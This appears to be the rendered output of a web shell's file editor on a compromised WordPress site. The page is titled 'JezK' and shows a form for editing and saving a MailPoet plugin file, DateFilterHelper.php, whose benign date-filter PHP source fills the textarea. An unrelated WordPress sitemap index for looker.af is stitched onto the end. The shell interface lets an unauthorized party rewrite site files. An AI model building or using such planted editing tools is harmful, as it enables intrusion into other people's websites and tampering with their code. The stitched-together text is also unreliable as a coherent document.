
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: DateFilterHelper.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php declare(strict_types = 1);

namespace MailPoet\Segments\DynamicSegments\Filters;

if (!defined(&#039;ABSPATH&#039;)) exit;


use MailPoet\Entities\DynamicSegmentFilterEntity;
use MailPoet\Segments\DynamicSegments\Exceptions\InvalidFilterException;
use MailPoetVendor\Carbon\CarbonImmutable;

class DateFilterHelper {
  const BEFORE = &#039;before&#039;;
  const AFTER = &#039;after&#039;;
  const ON = &#039;on&#039;;
  const ON_OR_BEFORE = &#039;onOrBefore&#039;;
  const ON_OR_AFTER = &#039;onOrAfter&#039;;
  const NOT_ON = &#039;notOn&#039;;
  const IN_THE_LAST = &#039;inTheLast&#039;;
  const NOT_IN_THE_LAST = &#039;notInTheLast&#039;;

  public function getValidOperators(): array {
    return array_merge(
      $this-&gt;getAbsoluteDateOperators(),
      $this-&gt;getRelativeDateOperators()
    );
  }

  public function getAbsoluteDateOperators(): array {
    return [
      self::BEFORE,
      self::AFTER,
      self::ON,
      self::ON_OR_BEFORE,
      self::ON_OR_AFTER,
      self::NOT_ON,
    ];
  }

  public function getRelativeDateOperators(): array {
    return [
      self::IN_THE_LAST,
      self::NOT_IN_THE_LAST,
    ];
  }

  public function getDateStringForOperator(string $operator, string $value): string {
    if (in_array($operator, self::getAbsoluteDateOperators())) {
      $carbon = CarbonImmutable::createFromFormat(&#039;Y-m-d&#039;, $value);
      if (!$carbon instanceof CarbonImmutable) {
        throw new InvalidFilterException(&#039;Invalid date value&#039;, InvalidFilterException::INVALID_DATE_VALUE);
      }
    } else if (in_array($operator, self::getRelativeDateOperators())) {
      $carbon = CarbonImmutable::now()-&gt;subDays(intval($value) - 1);
    } else {
      throw new InvalidFilterException(&#039;Incorrect value for operator&#039;, InvalidFilterException::MISSING_VALUE);
    }

    return $carbon-&gt;toDateString();
  }

  public function getDateValueFromFilter(DynamicSegmentFilterEntity $filter): string {
    $filterData = $filter-&gt;getFilterData();
    $dateValue = $filterData-&gt;getParam(&#039;value&#039;);
    if (!is_string($dateValue)) {
      throw new InvalidFilterException(&#039;Incorrect value for date&#039;, InvalidFilterException::INVALID_DATE_VALUE);
    }
    return $dateValue;
  }

  public function getOperatorFromFilter(DynamicSegmentFilterEntity $filter): string {
    $filterData = $filter-&gt;getFilterData();
    $operator = $filterData-&gt;getParam(&#039;operator&#039;);
    if (!is_string($operator) || !in_array($operator, $this-&gt;getValidOperators())) {
      throw new InvalidFilterException(&#039;Incorrect value for operator&#039;, InvalidFilterException::MISSING_VALUE);
    }
    return $operator;
  }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
